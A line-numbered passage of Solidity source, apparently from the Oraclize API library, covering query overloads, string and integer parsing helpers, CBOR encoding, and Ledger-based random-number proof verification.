dynargs[1] = _args[1]; 599 | dynargs[2] = _args[2]; 600 | dynargs[3] = _args[3]; 601 | return oraclize_query(_datasource, dynargs, _gasLimit); 602 | } 603 | 604 | function oraclize_query(string memory _datasource, string[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { 605 | string[] memory dynargs = new string[](5); 606 | dynargs[0] = _args[0]; 607 | dynargs[1] = _args[1]; 608 | dynargs[2] = _args[2]; 609 | dynargs[3] = _args[3]; 610 | dynargs[4] = _args[4]; 611 | return oraclize_query(_datasource, dynargs); 612 | } 613 | 614 | function oraclize_query(uint _timestamp, string memory _datasource, string[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { 615 | string[] memory dynargs = new string[](5); 616 | dynargs[0] = _args[0]; 617 | dynargs[1] = _args[1]; 618 | dynargs[2] = _args[2]; 619 | dynargs[3] = _args[3]; 620 | dynargs[4] = _args[4]; 621 | return oraclize_query(_timestamp, _datasource, dynargs); 622 | } 623 | 624 | function oraclize_query(uint _timestamp, string memory _datasource, string[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 625 | string[] memory dynargs = new string[](5); 626 | dynargs[0] = _args[0]; 627 | dynargs[1] = _args[1]; 628 | dynargs[2] = _args[2]; 629 | dynargs[3] = _args[3]; 630 | dynargs[4] = _args[4]; 631 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 632 | } 633 | 634 | function oraclize_query(string memory _datasource, string[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 635 | string[] memory dynargs = new string[](5); 636 | dynargs[0] = _args[0]; 637 | dynargs[1] = _args[1]; 638 | dynargs[2] = _args[2]; 639 | dynargs[3] = _args[3]; 640 | dynargs[4] = _args[4]; 641 | return oraclize_query(_datasource, dynargs, _gasLimit); 642 | } 643 | 644 | function oraclize_query(string memory _datasource, bytes[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { 645 | uint price = oraclize.getPrice(_datasource); 646 | if (price > 1 ether + tx.gasprice * 200000) { 647 | return 0; // Unexpectedly high price 648 | } 649 | bytes memory args = ba2cbor(_argN); 650 | return oraclize.queryN.value(price)(0, _datasource, args); 651 | } 652 | 653 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { 654 | uint price = oraclize.getPrice(_datasource); 655 | if (price > 1 ether + tx.gasprice * 200000) { 656 | return 0; // Unexpectedly high price 657 | } 658 | bytes memory args = ba2cbor(_argN); 659 | return oraclize.queryN.value(price)(_timestamp, _datasource, args); 660 | } 661 | 662 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 663 | uint price = oraclize.getPrice(_datasource, _gasLimit); 664 | if (price > 1 ether + tx.gasprice * _gasLimit) { 665 | return 0; // Unexpectedly high price 666 | } 667 | bytes memory args = ba2cbor(_argN); 668 | return oraclize.queryN_withGasLimit.value(price)(_timestamp, _datasource, args, _gasLimit); 669 | } 670 | 671 | function oraclize_query(string memory _datasource, bytes[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 672 | uint price = oraclize.getPrice(_datasource, _gasLimit); 673 | if (price > 1 ether + tx.gasprice * _gasLimit) { 674 | return 0; // Unexpectedly high price 675 | } 676 | bytes memory args = ba2cbor(_argN); 677 | return oraclize.queryN_withGasLimit.value(price)(0, _datasource, args, _gasLimit); 678 | } 679 | 680 | function oraclize_query(string memory _datasource, bytes[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { 681 | bytes[] memory dynargs = new bytes[](1); 682 | dynargs[0] = _args[0]; 683 | return oraclize_query(_datasource, dynargs); 684 | } 685 | 686 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { 687 | bytes[] memory dynargs = new bytes[](1); 688 | dynargs[0] = _args[0]; 689 | return oraclize_query(_timestamp, _datasource, dynargs); 690 | } 691 | 692 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 693 | bytes[] memory dynargs = new bytes[](1); 694 | dynargs[0] = _args[0]; 695 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 696 | } 697 | 698 | function oraclize_query(string memory _datasource, bytes[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 699 | bytes[] memory dynargs = new bytes[](1); 700 | dynargs[0] = _args[0]; 701 | return oraclize_query(_datasource, dynargs, _gasLimit); 702 | } 703 | 704 | function oraclize_query(string memory _datasource, bytes[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { 705 | bytes[] memory dynargs = new bytes[](2); 706 | dynargs[0] = _args[0]; 707 | dynargs[1] = _args[1]; 708 | return oraclize_query(_datasource, dynargs); 709 | } 710 | 711 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { 712 | bytes[] memory dynargs = new bytes[](2); 713 | dynargs[0] = _args[0]; 714 | dynargs[1] = _args[1]; 715 | return oraclize_query(_timestamp, _datasource, dynargs); 716 | } 717 | 718 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 719 | bytes[] memory dynargs = new bytes[](2); 720 | dynargs[0] = _args[0]; 721 | dynargs[1] = _args[1]; 722 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 723 | } 724 | 725 | function oraclize_query(string memory _datasource, bytes[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 726 | bytes[] memory dynargs = new bytes[](2); 727 | dynargs[0] = _args[0]; 728 | dynargs[1] = _args[1]; 729 | return oraclize_query(_datasource, dynargs, _gasLimit); 730 | } 731 | 732 | function oraclize_query(string memory _datasource, bytes[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { 733 | bytes[] memory dynargs = new bytes[](3); 734 | dynargs[0] = _args[0]; 735 | dynargs[1] = _args[1]; 736 | dynargs[2] = _args[2]; 737 | return oraclize_query(_datasource, dynargs); 738 | } 739 | 740 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { 741 | bytes[] memory dynargs = new bytes[](3); 742 | dynargs[0] = _args[0]; 743 | dynargs[1] = _args[1]; 744 | dynargs[2] = _args[2]; 745 | return oraclize_query(_timestamp, _datasource, dynargs); 746 | } 747 | 748 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 749 | bytes[] memory dynargs = new bytes[](3); 750 | dynargs[0] = _args[0]; 751 | dynargs[1] = _args[1]; 752 | dynargs[2] = _args[2]; 753 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 754 | } 755 | 756 | function oraclize_query(string memory _datasource, bytes[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 757 | bytes[] memory dynargs = new bytes[](3); 758 | dynargs[0] = _args[0]; 759 | dynargs[1] = _args[1]; 760 | dynargs[2] = _args[2]; 761 | return oraclize_query(_datasource, dynargs, _gasLimit); 762 | } 763 | 764 | function oraclize_query(string memory _datasource, bytes[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { 765 | bytes[] memory dynargs = new bytes[](4); 766 | dynargs[0] = _args[0]; 767 | dynargs[1] = _args[1]; 768 | dynargs[2] = _args[2]; 769 | dynargs[3] = _args[3]; 770 | return oraclize_query(_datasource, dynargs); 771 | } 772 | 773 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { 774 | bytes[] memory dynargs = new bytes[](4); 775 | dynargs[0] = _args[0]; 776 | dynargs[1] = _args[1]; 777 | dynargs[2] = _args[2]; 778 | dynargs[3] = _args[3]; 779 | return oraclize_query(_timestamp, _datasource, dynargs); 780 | } 781 | 782 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 783 | bytes[] memory dynargs = new bytes[](4); 784 | dynargs[0] = _args[0]; 785 | dynargs[1] = _args[1]; 786 | dynargs[2] = _args[2]; 787 | dynargs[3] = _args[3]; 788 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 789 | } 790 | 791 | function oraclize_query(string memory _datasource, bytes[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 792 | bytes[] memory dynargs = new bytes[](4); 793 | dynargs[0] = _args[0]; 794 | dynargs[1] = _args[1]; 795 | dynargs[2] = _args[2]; 796 | dynargs[3] = _args[3]; 797 | return oraclize_query(_datasource, dynargs, _gasLimit); 798 | } 799 | 800 | function oraclize_query(string memory _datasource, bytes[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { 801 | bytes[] memory dynargs = new bytes[](5); 802 | dynargs[0] = _args[0]; 803 | dynargs[1] = _args[1]; 804 | dynargs[2] = _args[2]; 805 | dynargs[3] = _args[3]; 806 | dynargs[4] = _args[4]; 807 | return oraclize_query(_datasource, dynargs); 808 | } 809 | 810 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { 811 | bytes[] memory dynargs = new bytes[](5); 812 | dynargs[0] = _args[0]; 813 | dynargs[1] = _args[1]; 814 | dynargs[2] = _args[2]; 815 | dynargs[3] = _args[3]; 816 | dynargs[4] = _args[4]; 817 | return oraclize_query(_timestamp, _datasource, dynargs); 818 | } 819 | 820 | function oraclize_query(uint _timestamp, string memory _datasource, bytes[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 821 | bytes[] memory dynargs = new bytes[](5); 822 | dynargs[0] = _args[0]; 823 | dynargs[1] = _args[1]; 824 | dynargs[2] = _args[2]; 825 | dynargs[3] = _args[3]; 826 | dynargs[4] = _args[4]; 827 | return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); 828 | } 829 | 830 | function oraclize_query(string memory _datasource, bytes[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { 831 | bytes[] memory dynargs = new bytes[](5); 832 | dynargs[0] = _args[0]; 833 | dynargs[1] = _args[1]; 834 | dynargs[2] = _args[2]; 835 | dynargs[3] = _args[3]; 836 | dynargs[4] = _args[4]; 837 | return oraclize_query(_datasource, dynargs, _gasLimit); 838 | } 839 | 840 | function oraclize_setProof(byte _proofP) oraclizeAPI internal { 841 | return oraclize.setProofType(_proofP); 842 | } 843 | 844 | 845 | function oraclize_cbAddress() oraclizeAPI internal returns (address _callbackAddress) { 846 | return oraclize.cbAddress(); 847 | } 848 | 849 | function getCodeSize(address _addr) view internal returns (uint _size) { 850 | assembly { 851 | _size := extcodesize(_addr) 852 | } 853 | } 854 | 855 | function oraclize_setCustomGasPrice(uint _gasPrice) oraclizeAPI internal { 856 | return oraclize.setCustomGasPrice(_gasPrice); 857 | } 858 | 859 | function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32 _sessionKeyHash) { 860 | return oraclize.randomDS_getSessionPubKeyHash(); 861 | } 862 | 863 | function parseAddr(string memory _a) internal pure returns (address _parsedAddress) { 864 | bytes memory tmp = bytes(_a); 865 | uint160 iaddr = 0; 866 | uint160 b1; 867 | uint160 b2; 868 | for (uint i = 2; i < 2 + 2 * 20; i += 2) { 869 | iaddr *= 256; 870 | b1 = uint160(uint8(tmp[i])); 871 | b2 = uint160(uint8(tmp[i + 1])); 872 | if ((b1 >= 97) && (b1 <= 102)) { 873 | b1 -= 87; 874 | } else if ((b1 >= 65) && (b1 <= 70)) { 875 | b1 -= 55; 876 | } else if ((b1 >= 48) && (b1 <= 57)) { 877 | b1 -= 48; 878 | } 879 | if ((b2 >= 97) && (b2 <= 102)) { 880 | b2 -= 87; 881 | } else if ((b2 >= 65) && (b2 <= 70)) { 882 | b2 -= 55; 883 | } else if ((b2 >= 48) && (b2 <= 57)) { 884 | b2 -= 48; 885 | } 886 | iaddr += (b1 * 16 + b2); 887 | } 888 | return address(iaddr); 889 | } 890 | 891 | function strCompare(string memory _a, string memory _b) internal pure returns (int _returnCode) { 892 | bytes memory a = bytes(_a); 893 | bytes memory b = bytes(_b); 894 | uint minLength = a.length; 895 | if (b.length < minLength) { 896 | minLength = b.length; 897 | } 898 | for (uint i = 0; i < minLength; i ++) { 899 | if (a[i] < b[i]) { 900 | return -1; 901 | } else if (a[i] > b[i]) { 902 | return 1; 903 | } 904 | } 905 | if (a.length < b.length) { 906 | return -1; 907 | } else if (a.length > b.length) { 908 | return 1; 909 | } else { 910 | return 0; 911 | } 912 | } 913 | 914 | function indexOf(string memory _haystack, string memory _needle) internal pure returns (int _returnCode) { 915 | bytes memory h = bytes(_haystack); 916 | bytes memory n = bytes(_needle); 917 | if (h.length < 1 || n.length < 1 || (n.length > h.length)) { 918 | return -1; 919 | } else if (h.length > (2 ** 128 - 1)) { 920 | return -1; 921 | } else { 922 | uint subindex = 0; 923 | for (uint i = 0; i < h.length; i++) { 924 | if (h[i] == n[0]) { 925 | subindex = 1; 926 | while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { 927 | subindex++; 928 | } 929 | if (subindex == n.length) { 930 | return int(i); 931 | } 932 | } 933 | } 934 | return -1; 935 | } 936 | } 937 | 938 | function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) { 939 | return strConcat(_a, _b, "", "", ""); 940 | } 941 | 942 | function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) { 943 | return strConcat(_a, _b, _c, "", ""); 944 | } 945 | 946 | function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) { 947 | return strConcat(_a, _b, _c, _d, ""); 948 | } 949 | 950 | function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) { 951 | bytes memory _ba = bytes(_a); 952 | bytes memory _bb = bytes(_b); 953 | bytes memory _bc = bytes(_c); 954 | bytes memory _bd = bytes(_d); 955 | bytes memory _be = bytes(_e); 956 | string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); 957 | bytes memory babcde = bytes(abcde); 958 | uint k = 0; 959 | uint i = 0; 960 | for (i = 0; i < _ba.length; i++) { 961 | babcde[k++] = _ba[i]; 962 | } 963 | for (i = 0; i < _bb.length; i++) { 964 | babcde[k++] = _bb[i]; 965 | } 966 | for (i = 0; i < _bc.length; i++) { 967 | babcde[k++] = _bc[i]; 968 | } 969 | for (i = 0; i < _bd.length; i++) { 970 | babcde[k++] = _bd[i]; 971 | } 972 | for (i = 0; i < _be.length; i++) { 973 | babcde[k++] = _be[i]; 974 | } 975 | return string(babcde); 976 | } 977 | 978 | function safeParseInt(string memory _a) internal pure returns (uint _parsedInt) { 979 | return safeParseInt(_a, 0); 980 | } 981 | 982 | function safeParseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { 983 | bytes memory bresult = bytes(_a); 984 | uint mint = 0; 985 | bool decimals = false; 986 | for (uint i = 0; i < bresult.length; i++) { 987 | if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { 988 | if (decimals) { 989 | if (_b == 0) break; 990 | else _b--; 991 | } 992 | mint *= 10; 993 | mint += uint(uint8(bresult[i])) - 48; 994 | } else if (uint(uint8(bresult[i])) == 46) { 995 | require(!decimals, 'More than one decimal encountered in string!'); 996 | decimals = true; 997 | } else { 998 | revert("Non-numeral character encountered in string!"); 999 | } 1000 | } 1001 | if (_b > 0) { 1002 | mint *= 10 ** _b; 1003 | } 1004 | return mint; 1005 | } 1006 | 1007 | function parseInt(string memory _a) internal pure returns (uint _parsedInt) { 1008 | return parseInt(_a, 0); 1009 | } 1010 | 1011 | function parseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { 1012 | bytes memory bresult = bytes(_a); 1013 | uint mint = 0; 1014 | bool decimals = false; 1015 | for (uint i = 0; i < bresult.length; i++) { 1016 | if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { 1017 | if (decimals) { 1018 | if (_b == 0) { 1019 | break; 1020 | } else { 1021 | _b--; 1022 | } 1023 | } 1024 | mint *= 10; 1025 | mint += uint(uint8(bresult[i])) - 48; 1026 | } else if (uint(uint8(bresult[i])) == 46) { 1027 | decimals = true; 1028 | } 1029 | } 1030 | if (_b > 0) { 1031 | mint *= 10 ** _b; 1032 | } 1033 | return mint; 1034 | } 1035 | 1036 | function uint2str(uint _i) internal pure returns (string memory _uintAsString) { 1037 | if (_i == 0) { 1038 | return "0"; 1039 | } 1040 | uint j = _i; 1041 | uint len; 1042 | while (j != 0) { 1043 | len++; 1044 | j /= 10; 1045 | } 1046 | bytes memory bstr = new bytes(len); 1047 | uint k = len - 1; 1048 | while (_i != 0) { 1049 | bstr[k--] = byte(uint8(48 + _i % 10)); 1050 | _i /= 10; 1051 | } 1052 | return string(bstr); 1053 | } 1054 | 1055 | function stra2cbor(string[] memory _arr) internal pure returns (bytes memory _cborEncoding) { 1056 | safeMemoryCleaner(); 1057 | Buffer.buffer memory buf; 1058 | Buffer.init(buf, 1024); 1059 | buf.startArray(); 1060 | for (uint i = 0; i < _arr.length; i++) { 1061 | buf.encodeString(_arr[i]); 1062 | } 1063 | buf.endSequence(); 1064 | return buf.buf; 1065 | } 1066 | 1067 | function ba2cbor(bytes[] memory _arr) internal pure returns (bytes memory _cborEncoding) { 1068 | safeMemoryCleaner(); 1069 | Buffer.buffer memory buf; 1070 | Buffer.init(buf, 1024); 1071 | buf.startArray(); 1072 | for (uint i = 0; i < _arr.length; i++) { 1073 | buf.encodeBytes(_arr[i]); 1074 | } 1075 | buf.endSequence(); 1076 | return buf.buf; 1077 | } 1078 | 1079 | function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32 _queryId) { 1080 | require((_nbytes > 0) && (_nbytes <= 32)); 1081 | _delay *= 10; // Convert from seconds to ledger timer ticks 1082 | bytes memory nbytes = new bytes(1); 1083 | nbytes[0] = byte(uint8(_nbytes)); 1084 | bytes memory unonce = new bytes(32); 1085 | bytes memory sessionKeyHash = new bytes(32); 1086 | bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); 1087 | assembly { 1088 | mstore(unonce, 0x20) 1089 | /* 1090 | The following variables can be relaxed. 1091 | Check the relaxed random contract at https://github.com/oraclize/ethereum-examples 1092 | for an idea on how to override and replace commit hash variables. 1093 | */ 1094 | mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) 1095 | mstore(sessionKeyHash, 0x20) 1096 | mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) 1097 | } 1098 | bytes memory delay = new bytes(32); 1099 | assembly { 1100 | mstore(add(delay, 0x20), _delay) 1101 | } 1102 | bytes memory delay_bytes8 = new bytes(8); 1103 | copyBytes(delay, 24, 8, delay_bytes8, 0); 1104 | bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; 1105 | bytes32 queryId = oraclize_query("random", args, _customGasLimit); 1106 | bytes memory delay_bytes8_left = new bytes(8); 1107 | assembly { 1108 | let x := mload(add(delay_bytes8, 0x20)) 1109 | mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) 1110 | mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) 1111 | mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) 1112 | mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) 1113 | mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) 1114 | mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) 1115 | mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) 1116 | mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) 1117 | } 1118 | oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2]))); 1119 | return queryId; 1120 | } 1121 | 1122 | function oraclize_randomDS_setCommitment(bytes32 _queryId, bytes32 _commitment) internal { 1123 | oraclize_randomDS_args[_queryId] = _commitment; 1124 | } 1125 | 1126 | function verifySig(bytes32 _tosignh, bytes memory _dersig, bytes memory _pubkey) internal returns (bool _sigVerified) { 1127 | bool sigok; 1128 | address signer; 1129 | bytes32 sigr; 1130 | bytes32 sigs; 1131 | bytes memory sigr_ = new bytes(32); 1132 | uint offset = 4 + (uint(uint8(_dersig[3])) - 0x20); 1133 | sigr_ = copyBytes(_dersig, offset, 32, sigr_, 0); 1134 | bytes memory sigs_ = new bytes(32); 1135 | offset += 32 + 2; 1136 | sigs_ = copyBytes(_dersig, offset + (uint(uint8(_dersig[offset - 1])) - 0x20), 32, sigs_, 0); 1137 | assembly { 1138 | sigr := mload(add(sigr_, 32)) 1139 | sigs := mload(add(sigs_, 32)) 1140 | } 1141 | (sigok, signer) = safer_ecrecover(_tosignh, 27, sigr, sigs); 1142 | if (address(uint160(uint256(keccak256(_pubkey)))) == signer) { 1143 | return true; 1144 | } else { 1145 | (sigok, signer) = safer_ecrecover(_tosignh, 28, sigr, sigs); 1146 | return (address(uint160(uint256(keccak256(_pubkey)))) == signer); 1147 | } 1148 | } 1149 | 1150 | function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes memory _proof, uint _sig2offset) internal returns (bool _proofVerified) { 1151 | bool sigok; 1152 | // Random DS Proof Step 6: Verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) 1153 | bytes memory sig2 = new bytes(uint(uint8(_proof[_sig2offset + 1])) + 2); 1154 | copyBytes(_proof, _sig2offset, sig2.length, sig2, 0); 1155 | bytes memory appkey1_pubkey = new bytes(64); 1156 | copyBytes(_proof, 3 + 1, 64, appkey1_pubkey, 0); 1157 | bytes memory tosign2 = new bytes(1 + 65 + 32); 1158 | tosign2[0] = byte(uint8(1)); //role 1159 | copyBytes(_proof, _sig2offset - 65, 65, tosign2, 1); 1160 | bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; 1161 | copyBytes(CODEHASH, 0, 32, tosign2, 1 + 65); 1162 | sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); 1163 | if (!sigok) { 1164 | return false; 1165 | } 1166 | // Random DS Proof Step 7: Verify the APPKEY1 provenance (must be signed by Ledger) 1167 | bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; 1168 | bytes memory tosign3 = new bytes(1 + 65); 1169 | tosign3[0] = 0xFE; 1170 | copyBytes(_proof, 3, 65, tosign3, 1); 1171 | bytes memory sig3 = new bytes(uint(uint8(_proof[3 + 65 + 1])) + 2); 1172 | copyBytes(_proof, 3 + 65, sig3.length, sig3, 0); 1173 | sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); 1174 | return sigok; 1175 | } 1176 | 1177 | function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string memory _result, bytes memory _proof) internal returns (uint8 _returnCode) { 1178 | // Random DS Proof Step 1: The prefix has to match 'LP\x01' (Ledger Proof version 1) 1179 | if ((_proof[0] != "L") || (_proof[1] != "P") || (uint8(_proof[2]) != uint8(1))) { 1180 | return 1; 1181 | } 1182 | bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); 1183 | if (!proofVerified) { 1184 | return 2; 1185 | } 1186 | return 0; 1187 | } 1188 | 1189 | function matchBytes32Prefix(bytes32 _content, bytes memory _prefix, uint _nRandomBytes) internal pure returns (bool _matchesPrefix) { 1190 | bool match_ = true; 1191 | require(_prefix.length == _nRandomBytes); 1192 | for (uint256 i = 0; i< _nRandomBytes; i++) { 1193 | if (_content[i] != _prefix[i]) { 1194 | match_ = false; 1195 | } 1196 | } 1197 | return match_; 1198 | } 1199 | 1200 | function oraclize_randomDS_proofVerify__main(bytes memory _proof, bytes32 _queryId, bytes memory _result, string memory _contextName) internal returns (bool _proofVerified) { 1201 | // Random DS Proof Step 2: The unique keyhash has to match with the sha256 of (context name + _queryId) 1202 | uint ledgerProofLength = 3 + 65 + (uint(uint8(_proof[3 + 65 + 1])) + 2) + 32; 1203 | bytes memory keyhash = new bytes(32); 1204 | copyBytes(_proof, ledgerProofLength, 32, keyhash, 0); 1205 | if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(_contextName, _queryId)))))) { 1206 | return false; 1207 | } 1208 | bytes memory sig1 = new bytes(uint(uint8(_proof[ledgerProofLength + (32 + 8 + 1 + 32) + 1])) + 2); 1209 | copyBytes(_proof, ledgerProofLength + (32 + 8 + 1 + 32), sig1.length, sig1, 0); 1210 | // Random DS Proof Step 3: We assume sig1 is valid (it will be verified during step 5) and we verify if '_result' is the _prefix of sha256(sig1) 1211 | if (!matchBytes32Prefix(sha256(sig1), _result, uint(uint8(_proof[ledgerProofLength + 32 + 8])))) { 1212 | return false; 1213 | } 1214 | // Random DS Proof Step 4: Commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. 1215 | // This is to verify that the computed args match with the ones specified in the query. 1216 | bytes memory commitmentSlice1 = new bytes(8 + 1 + 32); 1217 | copyBytes(_proof, ledgerProofLength + 32, 8 + 1 + 32, commitmentSlice1, 0); 1218 | bytes memory sessionPubkey = new bytes(64); 1219 | uint sig2offset = ledgerProofLength + 32 + (8 + 1 + 32) + sig1.length + 65; 1220 | copyBytes(_proof, sig2offset - 64, 64, sessionPubkey, 0); 1221 | bytes32 sessionPubkeyHash = sha256(sessionPubkey); 1222 | if (oraclize_randomDS_args[_queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))) { //unonce, nbytes and sessionKeyHash match 1223 | delete oraclize_randomDS_args[_queryId]; 1224 | } else return false; 1225 | // Random DS Proof Step 5: Validity verification for sig1 (keyhash and args signed with the sessionKey) 1226 | bytes memory tosign1 = new bytes(32 + 8 + 1 + 32); 1227 | copyBytes(_proof, ledgerProofLength, 32 + 8 + 1 + 32, tosign1, 0); 1228 | if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) { 1229 | return false; 1230 | } 1231 | // Verify if sessionPubkeyHash was verified already, if not.. let's do it! 1232 | if (!oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]) { 1233 | oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(_proof, sig2offset); 1234 | } 1235 | return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; 1236 | } 1237 | /* 1238 | The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license 1239 | */ 1240 | function copyBytes(bytes memory _from, uint _fromOffset, uint _length, bytes memory _to, uint _toOffset) internal pure returns (bytes memory _copiedBytes) { 1241 | uint minLength = _length + _toOffset; 1242 | require(_to.length >= minLength); // Buffer too small. Should be a better way? 1243 | uint i = 32 + _fromOffset; // NOTE: the offset 32 is added to skip the `size` field of both bytes variables 1244 | uint j = 32 + _toOffset; 1245 | while (i < (32 + _fromOffset + _length)) { 1246 | assembly { 1247 | let tmp := mload(add(_from, i)) 1248 | mstore(add(_to, j), tmp) 1249 | } 1250 | i += 32; 1251 | j += 32; 1252 | } 1253 | return _to; 1254 | } 1255 | /* 1256 | The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license 1257 | Duplicate Solidity's ecrecover, but catching the CALL return value 1258 | */ 1259 | function safer_ecrecover(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal returns (bool _success, address _recoveredAddress) { 1260 | /* 1261 | We do our own memory management here. Solidity uses memory offset 1262 | 0x40 to store the current end of memory. We write past it (as 1263 | writes are memory extensions), but don't update the offset so 1264 | Solidity will reuse it. The memory used here is only needed for 1265 | this context. 1266 | FIXME: inline assembly can't access return values 1267 | */ 1268 | bool ret; 1269 | address addr; 1270 | assembly { 1271 | let size := mload(0x40) 1272 | mstore(size, _hash) 1273 | mstore(add(size, 32), _v) 1274 | mstore(add(size, 64), _r) 1275 | mstore(add(size, 96), _s) 1276 | ret := call(3000, 1, 0, size, 128, size, 32) // NOTE: we can reuse the request memory because we deal with the return code. 1277 | addr := mload(size) 1278 | } 1279 | return (ret, addr); 1280 | } 1281 | /* 1282 | The following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license 1283 | */ 1284 | function ecrecovery(bytes32 _hash, bytes memory _sig) internal returns (bool _success, address _recoveredAddress) { 1285 | bytes32 r; 1286 | bytes32 s; 1287 | uint8 v; 1288 | if (_sig.length != 65) { 1289 | return (false, address(0)); 1290 | } 1291 | /* 1292 | The signature format is a compact form of: 1293 | {bytes32 r}{bytes32 s}{uint8 v} 1294 | Compact means, uint8 is not padded to 32 bytes. 1295 | */ 1296 | assembly { 1297 | r := mload(add(_sig, 32)) 1298 | s := mload(add(_sig, 64)) 1299 | /* 1300 | Here we are loading the last 32 bytes. We exploit the fact that 1301 | 'mload' will pad with zeroes if we overread. 1302 | There is no 'mload8' to do this, but that would be nicer. 1303 | */ 1304 | v := byte(0, mload(add(_sig, 96))) 1305 | /* 